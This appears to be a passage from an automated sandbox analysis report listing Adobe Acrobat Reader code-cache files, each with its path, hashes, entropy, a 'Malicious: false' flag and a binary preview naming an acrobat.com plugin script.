Preview:	0\r..m......1......5...._keyhttps://rna-resource.acrobat.com/plugins.js ...p..[/....."#.D.......A.A..Eo..................PU ....t^.....a.k..u.7.M.BW6#}..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\560e9c8bff5008d8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.54791009196045
Encrypted:	false
SSDEEP:	3:m+lpSUlIv8RzYOCGLvHkWBGKuK2fKVLFckt/9lXRUPqf9tsDMaPV44m1:mkl9YOFLvEWsfOLFVt1liPqVyM+VY1
MD5:	FC0B14306F5A436D34D5EAF2F7CB3C08
SHA1:	922853E90F50D64264F69A0690A327862313692F
SHA-256:	E556C0DA45C09B16368AA8CCF610C60EBB28041E969BCE51284B6F74AD56C7A9
SHA-512:	63E5C22FDF736A5E214F862B7D35B1C396E070AC883ACFA344A9EAD6A9340982B8EA38E41AD08A87DD707EAF67DA1A6F687357DD2D9F79E5B368FB758C3BA359
Malicious:	false
Preview:	0\r..m......;...I......._keyhttps://rna-resource.acrobat.com/static/js/desktop.js ......[/....."#.Dd......A.A..Eo......h.G...........q.O...j....._y..L^z...?..@N..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\56c4cd218555ae2b_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.596841616087476
Encrypted:	false
SSDEEP:	6:mt9YOFLvEWdVFLBKFjVFLBKFlyXbQtxtwSeKaT9pr1:URVFAFjVFAFmQvtwSeKaTL
MD5:	ACFB3539351E14F6654619799AEE8B15
SHA1:	5E2093A19BC1F31E32BF9745F48217BD033780E6
SHA-256:	739FA380E5EC70D8D540163260655D190220AB85A5FE64279520D944BB87418D
SHA-512:	113D0CFA579F4AE6F82B5CF568052E334665EFDF740C8A244CEB8B628CE4372FB6C2474087C39F366C6B7BFE0A33632012D923805D9DD1F2BADBF71C468E9F1C
Malicious:	false
Preview:	0\r..m......t...R.1<...._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/plugin.js ......[/....."#.D.r.....A.A..Eo.........g..............H...{...2../.k`..r4.C. .A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\6fb6d030c4ebbc21_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.5338033703765905
Encrypted:	false
SSDEEP:	3:m+lx4F08RzYOCGLvHkWBGKuKjXKGBIEGdevA/KPWFvU+KlEKkUktF57yrpYFm1:ms2VYOFLvEWdvBIEGdeXu9/9tq11
MD5:	2655F2DF4C50F8CDA25B47D20F86C195
SHA1:	1B909A7490326483070DAF39C404EF0FD378F087
SHA-256:	8942324E0D186CADF48ACA1518580D0A11984894ADB17B49C4485CB319253686
SHA-512:	6E0FE6AD06AFC046A3F3D7BFFC1197FFF018706772DB985167276DF31030EF896362B7514BE432FEBE2EF3B1D2335FB1D4486B37FE07877F9631C924AA0F7BB9
Malicious:	false
Preview:	0\r..m......S...]......._keyhttps://rna-resource.acrobat.com/static/js/plugins/add-account/js/selector.js ..S...[/....."#.D.K.....A.A..Eo......(............A.o]@r..Q.....<w.....].n\....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\7120c35b509b0fae_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	5.624930858070465
Encrypted:	false
SSDEEP:	6:maVYOFLvEWdwAPCQZ+DiHtTlt7xm7OhKlvA1:RbR16s+WH/9xmJ
MD5:	F9541846661C3CAA4380FE21143AB747
SHA1:	5785D77D485DE8B299114859FE38075E051D41DB
SHA-256:	A42C7C6F00D90829591984B979DD1BE6B658ABBC392F4BB0E7F022F793EC635A
SHA-512:	EC2A11760EE2423BF5DE73A1C79D273F97B982EC0273E28A717FC9EB1D555D8E26F57D56E2B0C5394A79D1E7F70068A4E2E898B4950F0F769E995262CB83B30C
Malicious:	false
Preview:	0\r..m......J......{...._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/plugin.js ......[/....."#.D>......A.A..Eo.......p.o..........4T].....Tw.....(..b...EO....9.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\71febec55d5c75cd_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.563384294168943
Encrypted:	false
SSDEEP:	3:m+lx2gv8RzYOCGLvHkWBGKuKjXKX7KoQRA/KWEKPWFvGvYI+WLkt1sfddF5YufMy:ms2gEYOFLvEWdGQRQVuYYI+t1GdFt1
MD5:	FC0523D7CFBF01EEF116ECEB2762D1BF
SHA1:	706EB0A553BF2032EE6CA91EA21435A3E8377ADF
SHA-256:	3D9DE06AB8BCACB37037C808BF67912F41867B02258D9E4B9B938C6DBD3CA479
SHA-512:	F2885D82E9A1EBF9EFE697B42E5BD97C4AD9CAF872CBFF63E437BEEC567421B3D434C23763EF82FB9F148053DD1E18DBD390E38F1F4F5E01DC3E3F284AE217F0
Malicious:	false
Preview:	0\r..m......S...W.%z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/selector.js .#....[/....."#.Dh......A.A..Eo......)]..........@..{o]...9o\|..qY....T....{..u.b..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\86b8040b7132b608_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	206
Entropy (8bit):	5.585440124028964
Encrypted:	false
SSDEEP:	3:m+lerlyv8RzYOCGLvHkWBGKuKjXKX+IAHKLuV43X7mktGKKl/gEnNWQ1SUm1:mzyEYOFLvEWdrIOQ733tc/gEt1S/1
MD5:	92BE2CCB1DF43797F7DD25BE18EFFC49
SHA1:	C5879F362F7AA4EF5F8A361FF1E255D175ACC9E7
SHA-256:	AFBF18C4952A466FC1A56A6FD42DE5442D54E16E0497D1B098EB10FAB28FFAA6
SHA-512:	73720EDCFF33ABB787B2C632AF84A304FF970F669C89EC7E9A861AAC82B6CA9AD415E274BECE6B4630F2F547DF950BBDE95C5957AB313D36F1F48F9B6BAFA652
Malicious:	false
Preview:	0\r..m......N..../......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/plugin.js .(....[/....."#.D2......A.A..Eo.......K/..........t\a......x5.'OuE.C..@......x..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c159cc5880890bc_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.563609789057655
Encrypted:	false
SSDEEP:	3:m+lKcv8RzYOCGLvHkWBGKuKjXKoyNH/KPWFv6EG9i78kUktClwJNqww6U+5m1:mnYOFLvEWdhwyuH19tClwrqwK+41
MD5:	C415546F3D149CCCB88CA268B5D7CD05
SHA1:	66176D00DE5EA0EB1DC97410D037FA20AF90F23B
SHA-256:	4F6FFB1A459B0BC976F010E6A8BE123BBDEFD4D2F34A3FF6CFE7ABAD960659F0
SHA-512:	02C7317E205910B23CC4C77068C2185B98ED2CD132509F61618F23EF912E29E838BC6D229B949334D6C0A94098101660B6CBF5D9BDE919F818C42EADCC7571D0
Malicious:	false
Preview:	0\r..m......Z.........._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/selector.js ......[/....."#.D</.....A.A..Eo........\|................7...o..a=.98I......(3.$G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c84d92a9dbce3e0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.588871180929311
Encrypted:	false
SSDEEP:	6:mYXYOFLvEWdrROk/RJbuVXfKH4Qt9QfO441:/RrROk/Sf5QjQfL
MD5:	20BBAAA7AA6A6E9EB4CBADD37086F845
SHA1:	FBE3E3855212188B482806122AE98F92C825D5F4
SHA-256:	B4DE7CADBFB76DDCE3C2D66FDD56EB7B8B0FC648BE7EF59B8B3365A44B50BAE8
SHA-512:	EE7D1DA3D3482FD6701E8383C415C224102E7D53409ED61E862E7D8E5B679DBE8B74ADE6BA154E44F88126D90C751B140C40B6FF8601D68B6573431A3DA366D9
Malicious:	false
Preview:	0\r..m......f...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/selector.js ......[/....."#.DO......A.A..Eo....................~..rw.+[....!.)?..f.U..(=.=.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8e417e79df3bf0e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	5.552494387737446
Encrypted:	false
SSDEEP:	3:m+lhD4ll08RzYOCGLvHkWBGKuKdTSVynktSR8lXHzoIN1OFPL4m1:mmDEYOFLvEWXIyktll3zV1QPLr1
MD5:	1548DD4460698F025AF123B7955327F6
SHA1:	E9DA2A29DFE3DCCFB0A394A18677BA015C60FD9A
SHA-256:	C3FF882691B55DC5FED2C580936489267C12A9D3598B1AE706FB15DE85B6AB12
SHA-512:	71A7C88F63205F7F34FBE526EAC05A5AF0FDE321A708CE3C6812C1DBC436993649CD0E18CC886F1DF08F685B788FB23E9DB260CC5787B30EB379C54B20A492C8
Malicious:	false
Preview:	0\r..m......:....f......_keyhttps://rna-resource.acrobat.com/static/js/config.js ...~..[/....."#.DO......A.A..Eo.........)..........~]...%s..<...n.f..<.....1#..U..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\91cec06bb2836fa5_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.6166413863367035
Encrypted:	false
SSDEEP:	3:m+l+nq1A8RzYOCGLvHkWBGKuKjXKLNfKPWFvTbB1NE80WktJn/U8D6EsEJeUm1:m52YOFLvEWdMAu5l1a3jtJnMEvsEJ41
MD5:	A0107BC1E906D6E96D84A16DC295E38D
SHA1:	C00AE456C9B53C2F1566FA85F71B4865E64D20F3
SHA-256:	9518C0A248AC9FA1899F9022876A7965C2D7D1FAE644D6DA0298FC2CFCA38054
SHA-512:	79ABBDCF17E1E15C5722BE31D4B8ABB473022389A70B8A9CEBE7868982F7C77B01469738F8B7B5922A8DFD56888EB88E8EF3B21009AE3AC17A6149855C512E0E
Malicious:	false
Preview:	0\r..m......O...a.Y....._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/selector.js ..X...[/....."#.D.......A.A..Eo.......9............z._a...'.v.......4p3..1.']...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\927a1596c37ebe5e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.553767459502717
Encrypted:	false
SSDEEP:	3:m+lf1UldA8RzYOCGLvHkWBGKuKjXK9QXAdWKfKPWFvYXDJ4LktwIFoDb7T2/Mm1:mYilPYOFLvEWd8CAdAuEDJt1ong1
MD5:	090BE7AED268998EA3F43943EBF6A348
SHA1:	4CDC1FEE418219B9AC10232BAC57BD7B0E1347ED
SHA-256:	5B4D5C5043A412941D2C0EBB180C4129F47A81421CBA2B2255893E50B0B1B979
SHA-512:	78BFEAFC1B3D71C6DF043D7BFBB98F5FFEEC669C64C42B3A67003972024E8F7E8A9484A73D45B5D8B2622B7ED77DAB852AA1F2D88C9F27F2A764C15B2860A581
Malicious:	false
Preview:	0\r..m......R....\|....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/selector.js ..r...[/....."#.D.......A.A..Eo........AU........c}.H7M=M..-.....Ix..R.l...}Rl.$q.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\92c56fa2a6c4d5ba_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	223
Entropy (8bit):	5.6142786480135465
Encrypted:	false
SSDEEP:	6:mY8nYOFLvEWdrROk/Iuv9tv9lVN16wG1:F8hRrROk/V97lv
MD5:	ED08A49A94BE13C6C95E0E8830589D6D
SHA1:	8E836607CB455082F40214F1C4A1C68C63A7B4DF
SHA-256:	240E29DBB474803920AEDE22C538877C3A24F77DB9919C4F4C528BE980BD6EE4
SHA-512:	67265FB3170E21842BEF4A2112ADFB11BA6D4390C5E2BECAA5B1B2C7664451EC2A250F68D37D490A54840EF1D730BA8D63E45168C26622F249840C8004474FE4
Malicious:	false
Preview:	0\r..m......_...h......_keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/selector.js .....[/....."#.D.......A.A..Eo.......{.*..........%.k.SZ..~W.....:)'B..ad......A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\946896ee27df7947_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.6818073258184105
Encrypted:	false
SSDEEP:	3:m+lstxt08RzYOCGLvHkWBGKuKjXKX+IAuAJVKjXKLuVSKln9qDpktCWPmJelc0Ry:mLrnYOFLvEWdrIoJUQMl9DtZeJIi1
MD5:	305369E68830BDDF94C570DADBD79AE4
SHA1:	1D900B18C1B77E6E3668AB26C0D88E1B32372746
SHA-256:	563997E0D9176B9BFAE345F79A938A5341440A20A3EE3B44AEB3CC43842297F7
SHA-512:	AE5F53FB9F13CFA7EAD985DE58FD24F6404DA957210B00F9E7396C66267F86788DB222437683D81428B0BBAD55144C0177B768E8CF7AE26021CCAC1C8D0003B7
Malicious:	false
Preview:	0\r..m......U..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files-select/js/plugin.js ......[/....."#.D......A.A..Eo......<..8.........;"./N_.,.:C..2....9L.H...3:...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\983b7a3da8f39a46_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.5744814651178425
Encrypted:	false
SSDEEP:	3:m+lQ/pqv8RzYOCGLvHkWBGKuKjXKX+IALKPWFvEsK2DVLktKs56mgmOZLhT7Um1:mOEYOFLvEWdrIhu2qRQtl5zgm2d/1
MD5:	E7245E7D629ED0AF7A6043535FFEA975
SHA1:	491D4A13B83FDEAC400677CCA06BEB19E146872A
SHA-256:	B6021A246AD1E7B1436E3E46041517C700B9817CAFC62610DBE1D38B5889B8D4
SHA-512:	1175059C89279C7F878D35FB91068D9080C44A4BF5297B0C239EA4BE1BBC6A89A7BB667646C66C08B3E51F5DC021D9193C2F21ECFC30E19AEC60E68FF2D8487B
Malicious:	false
Preview:	0\r..m......P....r......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/selector.js .....[/....."#.D6......A.A..Eo......[.z.........Z.Z}Q..4.o....0+..[\|..n:*..U.W.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\aba6710fde0876af_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.539883025907605
Encrypted:	false
SSDEEP:	3:m+l8UElLA8RzYOCGLvHkWBGKuKPK7CvbIyC8k9WktKteBiaQ562HvpMm1:mAElVYOFLvEW1Kz8k9jturx56uvp1
MD5:	4C88CCAF8CC193F52C7474854948E628
SHA1:	8C4EB5A2FD7CC51FA6969282DCF73FD335BA2C89
SHA-256:	64C883225D461C3692D745470252C1461F67A5A8A72607C00B4793D5E72F38E0
SHA-512:	EDDC293EADD2C787FB7E60952030B186A0A5B604F599DCADA4D5FC0D1D73EC4F23A4464F53B75FE655D4882BDFDBEE4C1E55F63D0D62F5B9C872A9599B239122
Malicious:	false
Preview:	0\r..m......<...)6......_keyhttps://rna-resource.acrobat.com/static/js/rna-main.js ..yr..[/....."#.Dr.....A.A..Eo.........F........z?...SwC...^..y.....V..7R-O.....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\b6d5deb4812ac6e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.6082697955051355
Encrypted:	false
SSDEEP:	6:mWYOFLvEWdBJvvuLp19tRdUDLYtmOZn1:xRBJGNHWDcFZ
MD5:	5F91411852BE1F016EC4F25D2BF63DBB
SHA1:	3CDD497164613207063B4068D9E9087FF934B239
SHA-256:	BA19350F8249BD2890E282D1DC5E02F94363AE9EA02998E555DE19C25DC5A922
SHA-512:	52A547CBFFCA274BA9422C53E0E5E7786BF9001818FEB3BFE81F2F5E2848F9FE7A5D76B8B655067269C97B6F10CE7BD8F710F96D7462D2CA20773A7F2C5BC804
Malicious:	false
Preview:	0\r..m......V.....h....._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/selector.js ..V...[/....."#.DN......A.A..Eo......G.Fj............t.q..W.EZ....1...[.zC.7mD..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bba29d2e6197e2f4_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.613290832713583
Encrypted:	false
SSDEEP:	3:m+lxCq//6v8RzYOCGLvHkWBGKuKCH6U4LJzWHK7WFvVG84k9WktjslFpSKGoSSlf:msRPYOFLvEWIa7zp73840jtjsX8VPu1
MD5:	44DDC3EBEB5284C2F0B4C33FA2368604
SHA1:	826DD99D100D0E24737ABF06E49A2C0EFB8CA1E2
SHA-256:	F70F20265CE6EC1EAA4CBF17EFF41267EA4C3456E6D5DBE0E97559080B97D0D4
SHA-512:	5E477A92489362353603474B3EBDBC8D45502D6A40581B9A79FA8924B9AB33E4E258EA0ACEFB7BD6BE12E6D3E0A621FA5739F1782D33DDFED75F617FCD659159
Malicious:	false
Preview:	0\r..m......S...{.j....._keyhttps://rna-resource.acrobat.com/static/js/libs/require/2.1.15/require.min.js .-.p..[/....."#.D.......A.A..Eo.......k.............L...Im.@.........E.nW...IP..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bf0ac66ae1eb4a7f_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.628911693221754
Encrypted:	false
SSDEEP:	3:m+lQi9lC8RzYOCGLvHkWBGKuKjXKVRNUpXKLuVQoD4k9Wkt4Hl/n6F4XVAZ+8cV4:mKPYOFLvEWdENU9Qho19jtQt6wiM3Y1
MD5:	E2C4572EA78877098528F7F5174F5836
SHA1:	B452EFD8A7A9F9790956008DA55D08D58F21E3F5
SHA-256:	8C3788830D2A1017131A5FB10FAB817EDFDFB59882890AAC006FBB880BED6DF8
SHA-512:	1B593ADFF3E10DE0493831AFAE802DB95CF60B35A7C3F2F880DE175010A6625D8C57CF5F5C278DAF2754EC3631A2714A134628B634F5FECADA1357FAFA898BBC
Malicious:	false
Preview:	0\r..m......P...Yft....._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/plugin.js ......[/....."#.D......A.A..Eo......q..............M....m+lS..e.....<7.U.P8*.0K.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\cf3e34002cde7e9c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.586340765470441
Encrypted:	false
SSDEEP:	3:m+lQWt6v8RzYOCGLvHkWBGKuKjXKjcAW6KLuVsi4LktZv4MY3jBMQ7GRzXP5m1:mQt6EYOFLvEWdccAHQ9etMjBRCh/41
MD5:	3580F8810D03E7848CAEDFB4ECD5E0C7
SHA1:	C8417126CA662DD1E51BF868F99817C1A16A12C9
SHA-256:	603182F2CA7737E289613D972F43B1FE769494C921F40622CE920CACB0BD5FFD
SHA-512:	65FDC1FF85333A6C8C9B38735FFFD1489A1EC16A17C4BBCFCA1F8262B959A12AFD42FBCED5DDAD007ACFC149A3EEB4602CDCC69EEBE56614F6E7C27E4BAA32FB
Malicious:	false
Preview:	0\r..m......P...W3......_keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/plugin.js .. ...[/....."#.D+......A.A..Eo.........R........PJm...0x.x..RD...BB!@5..<..]....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d449e58cb15daaf1_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.5436802774577485
Encrypted:	false
SSDEEP:	6:mqs6XYOFLvEWdFCi5mhu6A+4QtUkULlF4r1:bs6xRkiZ+Hi7LlF4
MD5:	0A3E1FC1C2F922F141CD8C8CC9015F7B
SHA1:	D316700FBAD6B1C88CA08C586BA72F4958247EBE
SHA-256:	ACEA686492713668D700F365D196F1AE5BB8014C4F7E0C599093E0232BD9C9CC
SHA-512:	9558CD383B48D28300064FA34FB8FFA4D98A1F03A122EBD7F55E8444B3271C495537754FCDA1A994893F0702AD8C44E90D5C04CDA5C88F2B7D3927054CA0A591
Malicious:	false
Preview:	0\r..m......g...~.I?...._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-selector.js ..mI..[/....."#.DOw.....A.A..Eo.........e.........P...#4..l....5...5..).w.. .h.~..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d88192ac53852604_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	215
Entropy (8bit):	5.524702002968718
Encrypted:	false
SSDEEP:	3:m+lPHYs8RzYOCGLvHkWBGKuKjXKXqjuSKPWFvIYIKll1+p9WktL91ECcu1isLK5y:mhYOFLvEWd/aFuDk9jtJ1EN941
MD5:	46F87A2BFE257F2BDBC2905447A7AA2E
SHA1:	3E14DCD34E9647E8817C5D99418A37EB978FF83E
SHA-256:	20AFECB85324CCFBA3C49552D65FF9066AAFC4B5D09F0CC4CAD2666D8B61D93E
SHA-512:	741C2800D62EFC9673D223AB466D005DAF94E16E72827DFBED4AEAADF9B1F6236A20FA5D10228C7881ADBF2934968A33D2BFAC9E88397C986D212C7F87B3AB0B
Malicious:	false
Preview:	0\r..m......W....w.m...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-recent-files/js/selector.js ..p...[/....."#.Dp......A.A..Eo........?...........a.f.m.i.o.p..3U5.....^...I.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\de789e80edd740d6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.5540884843516904
Encrypted:	false
SSDEEP:	6:mR9YOFLvEWd7VIGXOdQEKQTtUHjBMqVd3G4K41:2DRuRjaDB9Vd2
MD5:	8405ECA73195CB91D207FB0202F6F8FD
SHA1:	66B53ADD14DDFCE13D45E8F7EE60B8F78DB1064D
SHA-256:	60D4D97B147A70ACE66266050F872249F15410E3F6E00314B326F7DDCF9A5983
SHA-512:	E48D84E781B02FF2D3848DBF851F5CB7D7EA62E8855D1E34D22DAD2C4DD5527057E596AD9AEF778A818A56D276CBFFA05C4B3874CAEEF7ACDA9E3906C4E6B4EA
Malicious:	false
Preview:	0\r..m......P...y.p....._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/plugin.js .sZ...[/....."#.D;......A.A..Eo......EF............y.$..$.v5j...T...z.]..._S....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f0cf6dfa8a1afa3d_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.581190702458038
Encrypted:	false
SSDEEP:	3:m+lQyu6OA8RzYOCGLvHkWBGKuKjXK9QXAdWKjKLuVKlgUkt6RW4ThzJuA4bi44m1:mkqYOFLvEWd8CAd9Qkt6LuA424r1
MD5:	26278210A23811FBFF548D07713F887A
SHA1:	399154CDE085077495583C0A296437F03291227A
SHA-256:	86040960C16A22B46FDA62E1F768EED024FCDF0BA8AD051394562C47354B5831
SHA-512:	5ED51FD2B0C23275CCBA4CB6C5D1D157F560939D933C6D3544B8F47295F24544173BB152E7DC2927738418FEFFFEA805991FB4E6490B1A302B98451683344DC9
Malicious:	false
Preview:	0\r..m......P...gT....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/plugin.js .....[/....."#.D-A.....A.A..Eo......4l(I........#..@..k(v.8g..5.~_....]Pj...6.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f4a0d4ca2f3b95da_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.56721552023399
Encrypted:	false
SSDEEP:	3:m+lS5Etla8RzYOCGLvHkWBGKuKjXKVRNUp/KPWFvw4kYIBD+4kUktokXl7Ag2iH1:moXXYOFLvEWdENUAuIYI1O9tx2yC8n1
MD5:	7E121D7F029851969DFAB043E4CDE2D2
SHA1:	9D8CE44C63B5F9EE616BAC70A64080DFB696D753
SHA-256:	A2E6848368B4C29D06B7DFB5F1FACF4E58675D7BF4057349013B625B61619474
SHA-512:	EE1587E682DF6AC558BECD989D0708C354F20431A9673A37E9E3DC3388666B11EA1CB83C3E5DA484C2F50914666B2A0D515568F6CF0F6D4EC5DB4224F3A9CB7D
Malicious:	false
Preview:	0\r..m......R..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/selector.js ......[/....."#.D=......A.A..Eo......bmU.........8.../...;.\\o....1..........+..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f941376b2efdd6e6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	221
Entropy (8bit):	5.618510117274578
Encrypted:	false
SSDEEP:	6:mQZYOFLvEWdrROk/VQP0KtlY/tsLmB41:nRrROk/V7KAlN
MD5:	B8AB921A92ADC273E5C0D83513BA1472
SHA1:	13204837DF25C22BE54F16588F967550BD464A40
SHA-256:	9E4FAA72603FCC88733776DEC177DF89DFE49D3821E19B729B7368B13A4157D4
SHA-512:	B8DE0683214AE611BE5504F63B8C0FD7B7A609C45125497D87084151B3FBE85E3A76279BD12DC004249409B081FBF5C0509D8C51FD10EF4939A5C3905A5D0803
Malicious:	false
Preview:	0\r..m......]......,...._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/plugin.js ..,...[/....."#.D.......A.A..Eo.......z.e........ ./.ev......N~..6.b.....$.j;:C...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f971b7eda7fa05c3_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.601276566234601
Encrypted:	false
SSDEEP:	6:mZ/lXYOFLvEWdccAWuKgdDKtardm9741:qxRcldDKUrdu7
MD5:	C392447A4B28A63434627107743A4153
SHA1:	0CA050765BE1CEA1D0ACC8F3DDACCA3CA5EE683E
SHA-256:	110C25BB11691680A45546F3A2A2BD538A59450D2E509C2630B7833C783168CC
